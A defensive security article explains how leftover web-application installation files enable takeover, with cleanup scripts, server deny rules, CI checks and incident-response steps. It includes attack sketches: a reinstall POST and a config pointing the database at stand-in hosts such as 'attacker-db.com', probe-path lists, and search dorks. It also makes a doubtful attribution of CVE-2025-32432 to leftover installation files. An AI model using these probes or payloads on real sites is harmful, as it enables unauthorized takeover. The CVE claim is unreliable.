The Hidden Danger of Leftover Installation Files: A Critical Security Misconfiguration
By Théophile Reverdell
Introduction
In the rush to deploy web applications, developers and system administrators sometimes overlook a critical post-installation step: removing installation files. This seemingly minor oversight can have catastrophic consequences, potentially granting attackers complete control over your application.
This vulnerability, classified under OWASP Top 10:2025 as A02 Security Misconfiguration, affects countless web applications worldwide. In 2025, security researchers discovered that 100% of applications tested had some form of misconfiguration, with leftover installation files being one of the most commonly exploited vectors.
This article explores the nature of this vulnerability, its real-world impact, and practical measures to protect your applications.
What Are Installation Files?
Installation files are scripts and resources used during the initial setup of web applications. They typically include:
Common Installation Files
install.php,install.py,setup.phpupgrade.php,update.phpconfig.php.sample,configuration-sample.php- Installation directories:
/install/,/setup/,/config/ - Database initialization scripts
- Migration tools
Their Purpose
These files serve crucial functions during deployment:
- Database schema creation
- Initial configuration setup
- Administrative account creation
- System dependencies verification
- Environment configuration
The Problem
Once the installation is complete, these files become unnecessary and dangerous. They remain accessible via direct URL access, creating an open door for attackers.
Why Are They Dangerous?
1. Complete System Takeover
Leftover installation files often allow attackers to:
Reinitialize the Application
POST /install/install.php
{
"db_host": "attacker-controlled-server.com",
"admin_password": "attacker_password"
}
This can:
- Reset the entire database
- Create new administrator accounts
- Change existing admin credentials
- Reconfigure the application to connect to attacker-controlled databases
Information Disclosure Installation scripts frequently expose:
- Database connection strings
- Internal file paths
- Server configuration details
- Software versions and dependencies
- Network topology information
2. Real-World Examples
PHPbb Forums
PHPbb, a popular forum software, explicitly warns users to DELETE the /install/ directory after setup. When webmasters forget, attackers can:
- Access
install.phpto reinitialize the forum - Reset administrator passwords
- Gain full control of the community
WordPress and Other CMS
Many content management systems include installation files that reveal:
- Database credentials (in config samples)
- FTP/SFTP access details
- API keys and secrets
- Admin panel locations
Recent 2025 Incidents
Craft CMS (CVE-2025-32432)
- First observed: February 2025
- Vulnerable instances: ~13,000 by mid-April
- Compromised servers: At least 300
- Attack vector: Leftover installation files combined with other misconfigurations
The Attack Process
Phase 1: Discovery
Attackers use various techniques to find leftover installation files:
1. Direct URL Enumeration
# Common installation paths
/install.php
/setup.php
/install/install.php
/admin/install.php
/configuration.php-dist
/config.php.bak
2. Automated Scanners Tools like Nikto, OWASP ZAP, and custom scripts systematically check for:
- Standard installation directory names
- Common backup file extensions (
.bak,.old,.dist,.sample) - Typical installation file patterns
3. Search Engine Dorking
inurl:install.php
inurl:setup.php
inurl:"installation directory"
Phase 2: Exploitation
Once discovered, attackers can:
Scenario A: Database Reconfiguration
// Attacker accesses /install/install.php
// Points database to their server
db_host = "attacker-db.com:3306"
// Application now sends all data to attacker
Scenario B: Administrative Access
1. Access install.php
2. Trigger database reset
3. Create new admin account
4. Full application control achieved
Scenario C: Information Gathering
// config.sample.php might reveal:
$db_password = "CHANGE_THIS_PASSWORD"; // Hint at password format
$api_key = "example_key_format_XXXXX"; // API key structure
Phase 3: Post-Exploitation
With access gained, attackers can:
- Inject malicious code into the application
- Steal user data and credentials
- Use the server for malicious activities (spam, DDoS)
- Establish persistent backdoors
- Pivot to other systems on the network
The Broader Context: Security Misconfiguration
OWASP Top 10:2025 - A02
This vulnerability falls under Security Misconfiguration, which includes:
Common Misconfigurations
- Unnecessary features enabled (ports, services, pages, accounts)
- Default accounts with unchanged passwords
- Overly detailed error messages exposing system details
- Missing security headers
- Unremoved installation/test files and directories
- Outdated or vulnerable software components
Why It’s So Common
Human Error
- Installation checklists not followed
- Manual deployment processes
- Lack of automated cleanup
- Time pressure during deployment
Inadequate Documentation
- Installation guides that don’t emphasize cleanup
- Missing security sections in documentation
- Unclear post-installation procedures
Legacy Systems
- Old applications without modern security checks
- Systems deployed before security best practices evolved
- Inherited applications with unknown configurations
Detection and Identification
For Defenders
1. Manual Verification
# Check for common installation files
ls -la /var/www/html/install/
ls -la /var/www/html/setup/
find /var/www/html -name "install.php"
find /var/www/html -name "*.sample"
find /var/www/html -name "*.bak"
2. Automated Scanning
# Using OWASP ZAP
zap-cli quick-scan http://yoursite.com
# Using Nikto
nikto -h http://yoursite.com
# Custom script
curl -I http://yoursite.com/install.php
curl -I http://yoursite.com/setup/
3. Security Audit Checklist
- All installation directories removed
- No
.sample,.bak,.oldfiles in webroot - Database initialization scripts removed or protected
- Test files and directories deleted
- Backup files stored outside webroot
- Directory listing disabled
For Security Researchers
Responsible Disclosure When finding leftover installation files during security research:
- Document the finding with screenshots
- Assess the actual risk (can you trigger a reinstall?)
- Contact the site owner/administrator
- Provide time for remediation before public disclosure
- Follow responsible disclosure guidelines
Prevention and Mitigation
1. Automated Cleanup in Deployment
Docker/Container Approach
# Multi-stage build ensures clean final image
FROM php:8.2-apache AS installer
WORKDIR /app
COPY . .
RUN php install/install-cli.php
# Production image - installation files excluded
FROM php:8.2-apache
WORKDIR /var/www/html
COPY --from=installer /app/public ./
# install/ directory never copied to production
Deployment Script
#!/bin/bash
# deploy.sh
# Deploy application
rsync -av ./app/ /var/www/html/
# Remove installation files
rm -rf /var/www/html/install/
rm -rf /var/www/html/setup/
rm -f /var/www/html/install.php
rm -f /var/www/html/config.*.sample
# Set proper permissions
chown -R www-data:www-data /var/www/html/
find /var/www/html/ -type f -name "*.bak" -delete
find /var/www/html/ -type f -name "*.old" -delete
echo "Deployment complete and secured"
2. Web Server Configuration
Apache (.htaccess)
# Deny access to installation directories
<DirectoryMatch "^/.*/install/">
Require all denied
</DirectoryMatch>
# Protect specific files
<FilesMatch "^(install|setup|config\.sample)\.(php|py)$">
Require all denied
</FilesMatch>
# Prevent access to backup files
<FilesMatch "\.(bak|old|sample|dist)$">
Require all denied
</FilesMatch>
Nginx
# Block installation directories
location ~* ^/(install|setup|config)/ {
deny all;
return 404;
}
# Block installation files
location ~* \.(bak|old|sample|dist|sql)$ {
deny all;
return 404;
}
3. Application-Level Protection
Modern Framework Approach
<?php
// install.php - Self-destruct after successful installation
if (file_exists('../config/installed.lock')) {
die('Installation already completed. Please delete this file manually.');
}
// ... installation logic ...
if ($installation_successful) {
// Create lock file
file_put_contents('../config/installed.lock', date('Y-m-d H:i:s'));
// Optional: Delete self
unlink(__FILE__);
redirect('/admin/setup-complete');
}
?>
Installation Verification
# Django-style installation check
from django.core.exceptions import ImproperlyConfigured
import os
def check_installation_files():
"""Check for leftover installation files at startup"""
dangerous_files = [
'install.py',
'setup.py',
'config/database.yml.sample'
]
for file_path in dangerous_files:
if os.path.exists(file_path):
raise ImproperlyConfigured(
f"Security risk: {file_path} still exists. "
"Please remove all installation files before running in production."
)
4. CI/CD Integration
GitHub Actions Example
name: Security Check
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Check for installation files
run: |
INSTALL_FILES=$(find . -name "install.php" -o -name "setup.php")
if [ -n "$INSTALL_FILES" ]; then
echo "Error: Installation files found:"
echo "$INSTALL_FILES"
exit 1
fi
- name: Check for backup files
run: |
BACKUP_FILES=$(find . -name "*.bak" -o -name "*.old")
if [ -n "$BACKUP_FILES" ]; then
echo "Warning: Backup files found:"
echo "$BACKUP_FILES"
fi
5. File Integrity Monitoring
AIDE (Advanced Intrusion Detection Environment)
# Initialize AIDE database
aide --init
# Check for unexpected files
aide --check
# AIDE will alert on:
# - New files in webroot
# - Modified configuration files
# - Unauthorized file changes
Tripwire
# Monitor critical directories
tripwire --init
tripwire --check
# Alert on unauthorized files appearing
Security Best Practices
Deployment Checklist
Pre-Deployment
- Review installation file list
- Create automated cleanup script
- Configure web server rules
- Set up file integrity monitoring
- Document cleanup procedures
Post-Deployment
- Verify installation files removed
- Test direct URL access (should return 404)
- Run security scanner
- Review web server error logs
- Document actual cleanup performed
Ongoing Monitoring
- Regular security scans
- File integrity checks
- Log analysis for suspicious access attempts
- Quarterly security audits
- Update cleanup scripts as application evolves
Defense in Depth
Layer 1: Remove Files The most effective solution - if the file doesn’t exist, it can’t be exploited.
Layer 2: Access Control Web server rules to block access even if files exist.
Layer 3: Application Logic Self-destruct or lock mechanisms in installation scripts.
Layer 4: Monitoring Alert on attempts to access installation files.
Layer 5: Network Segmentation Limit who can access installation endpoints during legitimate deployment.
Automated Testing
Integration Tests
import pytest
import requests
class TestInstallationSecurity:
"""Test suite for installation file security"""
BASE_URL = "https://example.com"
INSTALLATION_PATHS = [
"/install.php",
"/install/install.php",
"/setup.php",
"/admin/install.php",
"/config/install.php"
]
def test_installation_files_removed(self):
"""Verify installation files return 404"""
for path in self.INSTALLATION_PATHS:
response = requests.get(f"{self.BASE_URL}{path}")
assert response.status_code in [404, 403], \
f"Installation file accessible: {path}"
def test_backup_files_protected(self):
"""Verify backup files are inaccessible"""
backup_extensions = ['.bak', '.old', '.sample', '.dist']
test_files = ['config.php', 'database.yml', 'settings.py']
for file in test_files:
for ext in backup_extensions:
response = requests.get(f"{self.BASE_URL}/{file}{ext}")
assert response.status_code in [404, 403], \
f"Backup file accessible: {file}{ext}"
def test_installation_directory_blocked(self):
"""Verify installation directories are blocked"""
response = requests.get(f"{self.BASE_URL}/install/")
assert response.status_code in [404, 403], \
"Installation directory accessible"
Incident Response
If You Discover Exposed Installation Files
Immediate Actions
Delete the files immediately
rm -rf /var/www/html/install/Check access logs for suspicious activity
grep -i "install.php" /var/log/apache2/access.log grep -i "setup.php" /var/log/nginx/access.logReview database for unauthorized changes
SELECT * FROM users WHERE created_at > '2025-12-01' ORDER BY created_at DESC; SELECT * FROM admin_users ORDER BY created_at DESC LIMIT 10;Change all credentials
- Database passwords
- Admin account passwords
- API keys
- Service credentials
Scan for backdoors
# Look for recently modified PHP files find /var/www/html -name "*.php" -mtime -7 # Check for suspicious code grep -r "eval(" /var/www/html/ grep -r "base64_decode" /var/www/html/
Recovery Steps
- Contain: Isolate the affected system
- Investigate: Determine scope of compromise
- Eradicate: Remove malicious changes
- Recover: Restore from clean backup if necessary
- Learn: Update procedures to prevent recurrence
Conclusion
Leftover installation files represent a critical yet often overlooked vulnerability. Despite being easily preventable, they continue to compromise applications worldwide, as evidenced by the 2025 Craft CMS incidents and countless other breaches.
Key Takeaways:
- Always remove installation files - Make it step one of your deployment checklist
- Automate the cleanup - Don’t rely on manual processes
- Implement multiple layers - File removal + access controls + monitoring
- Test regularly - Include installation file checks in security scans
- Monitor access attempts - Alert on attempts to access common installation paths
- Use modern frameworks - They often include automatic protection mechanisms
This vulnerability is 100% preventable with proper procedures and automation. The cost of prevention is minimal compared to the catastrophic consequences of exploitation.
Remember: In cybersecurity, the simplest oversights often lead to the most severe breaches. A few minutes spent verifying installation file removal can save you from a complete system compromise.
Additional Resources:
- OWASP Top 10:2025 - A02 Security Misconfiguration
- OWASP Testing Guide - Old Backup Files
- CMS Security Best Practices - Detectify
- CVE-2025-32432: Craft CMS Vulnerability - SOC Prime
- Web Application Vulnerabilities 2025 Guide
This article is based on security concepts and principles practiced through hands-on cybersecurity challenges, emphasizing the importance of proper post-deployment security hygiene in protecting web applications.